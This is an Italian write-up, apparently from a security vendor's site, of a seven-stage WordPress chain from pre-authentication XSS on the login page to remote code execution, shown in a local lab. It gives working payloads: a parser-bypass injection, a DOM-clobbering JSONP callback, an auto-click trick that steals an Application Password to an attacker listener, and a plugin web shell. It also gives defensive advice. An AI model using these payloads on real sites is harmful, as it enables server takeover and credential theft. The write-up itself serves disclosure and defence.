XSS2Shell: Da Zero a Shell su WordPress

Una guida pratica di una catena XSS pre-autenticazione che può escalare a esecuzione di codice remoto su WordPress Core, dimostrata su un laboratorio Docker locale.

Solo test autorizzati.

Tutto ciò che segue è stato eseguito contro un laboratorio locale (WordPress 7.0.2 su localhos). Non utilizzare queste tecniche contro sistemi di cui non si è proprietari o per i quali non si dispone di esplicita autorizzazione al test.

Riepilogo esecutivo

XSS2Shell non è un singolo bug — è una catena di exploit in sette fasi che inizia con un carattere (< seguito da uno spazio) che aggira due diversi parser HTML nella pagina di accesso di WordPress, e termina con PHP in esecuzione sul server come www-data.

Cosa la rende pericolosa:

  1. La fase 1 non richiede alcuna autenticazione — chiunque può attivare JavaScript su wp-login.php.
  2. Risiede nel Core di WordPress — non in un plugin; praticamente ogni installazione supportata dal 2016 è interessata.
  3. Utilizza il codice di WordPress stesso — user-profile.js, REST JSONP, Password Applicazione, caricamento plugin — come gadget.
  4. RCE completo dimostrato e riconosciuto da WordPress — sebbene richieda di indurre un amministratore autenticato a fare un solo clic.

Questo articolo illustra ogni fase con screenshot dal nostro laboratorio locale.

L'ambiente di laboratorio

git clone <this-repo> cd xss2shell make up # WordPress 7.0.2 su http://localhost:9080
ComponentURLCredentials
Vulnerable WordPresshttp://localhost:9080admin / admin123!
Patched comparisonhttp://localhost:9081(optional)
Attacker listenerhttp://127.0.0.1:9090started by PoC script

WordPress login page — the attack surface
WordPress login page — the attack surface

Ogni sito WordPress espone /wp-login.php. Quella pagina è il punto di ingresso dell'intera catena.

Stage 0 Il differenziale del parser (causa radice)

Quando il login fallisce, WordPress visualizza il nome utente inviato all'interno di un messaggio di errore. Il nome utente passa attraverso due sanitizzatori che non concordano su cosa sia un "tag":

LayerFunctionSees < area as…
PHPstrip_tags()Plain text (space after < = not a tag)
WordPress KSESwp_kses_post()Valid HTML element

Il payload utilizza uno spazio dopo<:

< area id=demo-marker>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">X

Su WordPress 7.0.2 vulnerabile, questo sopravvive alla sanitizzazione e diventa DOM attivo:

./scripts/demo-parser-diff.sh http://localhost:9080
Terminal output showing injected HTML elements in the response
Terminal output showing injected HTML elements in the response

Su WordPress 7.0.4 patchato, lo stesso payload viene codificato in HTML nel messaggio di errore — nessun elemento attivo.

Questo bug esiste dal WordPress 4.7 (2016) ed è sfuggito a anni di audit di sicurezza.

Stage 1 XSS pre-autenticazione (nessun login richiesto)

I nodi DOM iniettati corrispondono ai selettori che il user-profile.js nativo di WordPress cerca sulla pagina di login (caricato per il flusso di reimpostazione della password):

  1. .reset-pass-submit .wp-generate-pw viene cliccato automaticamente al caricamento della pagina
  2. Il click si propaga al gestore delegato di #color-picker
  3. Il controllo della guardia user_id === checkuser_id viene superato perché entrambi sono undefined
  4. jQuery invia una POST ad ajaxurl — ma ajaxurl non esiste sulla pagina di login…

A meno che non lo clobberasse:

<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>

L'elemento <area id=ajaxurl> diventa window.ajaxurl. jQuery chiama .toString() → restituisce href. WordPress REST restituisce JSONP → jQuery globalEval() → alert()viene eseguito sull'origine WordPress.

Stage 1 demo page
Stage 1 demo page

Invia il modulo (o apri demo/stage1-preauth-xss.html e clicca Esegui Fase 1):

Login page after XSS payload — injected markup reflected in error, JS executes
Login page after XSS payload — injected markup reflected in error, JS executes

Impatto a questo stadio da solo: phishing delle credenziali sul dominio reale, session riding, chiamate API same-origin — senza alcuna autenticazione.

Stage 2 Ingegneria sociale — il clic dell'amministratore

Le fasi 2–7 richiedono che un amministratore autenticato apra una pagina controllata dall'attaccante. Questo è il limite che mantiene il CVSS sotto 10 — ma è realistico per attacchi mirati.

L'amministratore potrebbe ricevere: "La tua sessione è scaduta — clicca qui per autenticarti di nuovo."

Simulated phishing lure page
Simulated phishing lure page

Quando cliccata, la pagina dell'attaccante:

  1. Apre un popup figlio (about:blank)
  2. Reindirizza la finestra principale alla pagina di autorizzazione delle Application Password di WordPress
  3. Scrive un form XSS nella finestra popup figlia e lo invia automaticamente a wp-login.php
Admin dashboard — victim is already logged in
Admin dashboard — victim is already logged in

Fase 3: Same-Origin Method Execution (SOME) — approvazione automatica

Il payload XSS della finestra figlia modifica il callback JSONP da alert a:

window.opener.approve.click

WordPress REST avvolge la risposta:

/**/window.opener.approve.click({...})

Il runtime risolve window.opener (finestra padre) → .approve (il pulsante #approve) → .click(). Il pulsante Approva delle Application Password viene cliccato automaticamente — senza alcuna interazione dell'utente su quella pagina.

Application Password authorization page — the approve button (id=approve) is the SOME target
Application Password authorization page — the approve button (id=approve) is the SOME target

Notare l'URL di callback nella pagina: le credenziali verranno inviate a http://127.0.0.1:9090/callback?...&password=[------].

Fase 4: Acquisizione della password applicazione

WordPress crea una nuova password applicazione e reindirizza alla success_url dell'attaccante con la credenziale nella stringa di query:

http://127.0.0.1:9090/callback ?site_url=http://localhost:9080 &user_login=admin &password=XXXX XXXX XXXX XXXX XXXX XXXX

L'attaccante ora dispone delle credenziali HTTP Basic auth per le REST API di WordPress — ottenute dalla sessione dell'amministratore, senza che l'amministratore abbia digitato nulla dopo il clic iniziale sul link.

Fase 5: Pubblicazione della pagina controllata dall'attaccante

Utilizzando la password applicazione rubata, l'attaccante invia una richiesta POST a /wp-json/wp/v2/pages e pubblica una pagina con JavaScript incorporato. Gli amministratori dispongono della capacità unfiltered_html — i tag script sopravvivono.

Fase 6: Caricamento del plugin tramite sessione amministratore

Il JavaScript dell'attaccante (in esecuzione nel browser dell'amministratore sulla pagina pubblicata):

  1. Recupera /wp-admin/plugin-install.php?tab=upload per il nonce di caricamento
  2. Invia tramite POST un file ZIP malevolo a /wp-admin/update.php?action=upload-plugin
  3. WordPress lo estrae in wp-content/plugins/xss2shell/

Il plugin non deve essere attivato. I file PHP nella directory del plugin sono direttamente accessibili via web.

Fase 7: Esecuzione di codice remoto

GET /wp-content/plugins/xss2shell/shell.php?cmd=whoami

Risposta:

{ "rce": true, "user": "www-data", "output": "www-data\n" }
Shell endpoint returning command output
Shell endpoint returning command output

L'attaccante esegue ora comandi arbitrari come utente del server web — legge wp-config.php (credenziali del database), scarica il database, si sposta lateralmente.

Output completo del terminale PoC:

XSS2Shell PoC completing the chain
XSS2Shell PoC completing the chain

La catena completa in sintesi

sequenceDiagram participant A as Server attaccante participant V as Browser vittima participant W as WordPress 7.0.2 Note over V,W: L'admin è autenticato V->>A: Apre il link di phishing (1 clic) A->>V: HTML attaccante + popup figlio V->>W: Finestra principale → authorize-application.php V->>W: Il figlio invia via POST il payload XSS a wp-login.php W->>V: JSONP esegue window.opener.approve.click Note over V,W: Pulsante Approva cliccato automaticamente W->>A: Redirect con Application Password A->>W: REST API pubblica pagina (Basic auth) V->>W: L'admin visita la pagina → carica il plugin ZIP V->>W: GET shell.php?cmd=whoami W-->>A: www-data

Quanto è realmente pericoloso?

Cosa è garantito (alta confidenza)

PropertyValue
Authentication for XSSNone
Affected installsAll WordPress 4.7+ before patch
Default-config exploitabilityStage 1 works out of the box
User interaction for XSSVictim visits attacker URL

Cosa richiede condizioni aggiuntive (percorso RCE)

ConditionNotes
Logged-in administratorMust have active WP session
Social engineeringAdmin must click attacker link
Application Passwords enabledDefault since WP 5.6; needs HTTPS or local env
Popup not blockedBrowser must allow window.open from user gesture

Calibrazione della gravità

MetricValueInterpretation
CVSS 4.08.9 HighFull chain impact scored; not Critical because of UI:A
CVSS 3.16.1 MediumOlder scoring undervalues chained impact
EPSS~0.77%Low predicted mass exploitation (Aug 2026)
CISA KEVNot listedNo confirmed in-the-wild mass exploitation yet
Public PoCsMultiple on GitHubExploitation window may shrink

In sintesi: Questa non è una RCE zero-click wormable come Log4Shell. È una vulnerabilità tecnica a livello Core che colpisce circa il 43% del web in cui:

  • La sola Fase 1 è un grave XSS pre-autenticazione sulla pagina di login
  • La catena completa converte un singolo clic dell'amministratore in una compromissione del server
  • La causa principale (differenziale di parsing) si applica a qualsiasi codebase che utilizza più parser HTML

Il proprio advisory di WordPress afferma che l'RCE richiede "condizioni al di fuori del controllo dell'attaccante" e "un social engineering riuscito." È accurato — ma la catena dimostrata rende tali condizioni raggiungibili con un singolo link.

Riprodurre l'intera catena in locale

# 1. Avvia il lab make up # 2. Abilita le Application Password su HTTP (solo lab) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. Avvia il listener PoC python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. Nel browser: # a. Accedi come admin su http://localhost:9080/wp-login.php # b. Apri http://127.0.0.1:9091/phishing-sim.html # c. Clicca "Apri pagina attaccante" (consenti i popup) # d. Attendi l'output nel terminale con shell + whoami

Difesa

PriorityAction
ImmediateUpdate to WordPress 7.0.3 or your branch's patched release (full list)
Verify./scripts/demo-parser-diff.sh should show no injected elements
HardenDisable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins
MonitorWatch for failed-login usernames containing < area patterns
WAFBlock < area / < div patterns on wp-login.php POST bodies

La correzione aggiunge esc_html() al nome utente nel percorso di errore di accesso — assicurando che la stringa venga trattata come testo e non reinterpretata come HTML.

Perché questo è importante per la ricerca sulla sicurezza

Ogni anello della catena è individualmente banale:

  • Differenziale del parser → problema di manutenzione a bassa gravità
  • Script errato caricato nella pagina di accesso → basso
  • Callback JSONP validato tramite regex → medio
  • Password applicazione nell'URL di reindirizzamento → medio
  • La directory dei plugin esegue PHP senza attivazione → design noto

Assemblati, raggiungono CVSS 8.9 e una shell.

La lezione: quando si valutano i risultati XSS, chiedersi "cosa è già caricato su questa pagina e cosa farà se gli fornisco i nodi DOM giusti?" La gravità è una proprietà della catena, non del singolo bug.

Riferimenti

Seleziona regione e lingua

Regione
Lingua
Vuoi vedere CyberTested all’opera?
Prenota una demo gratuita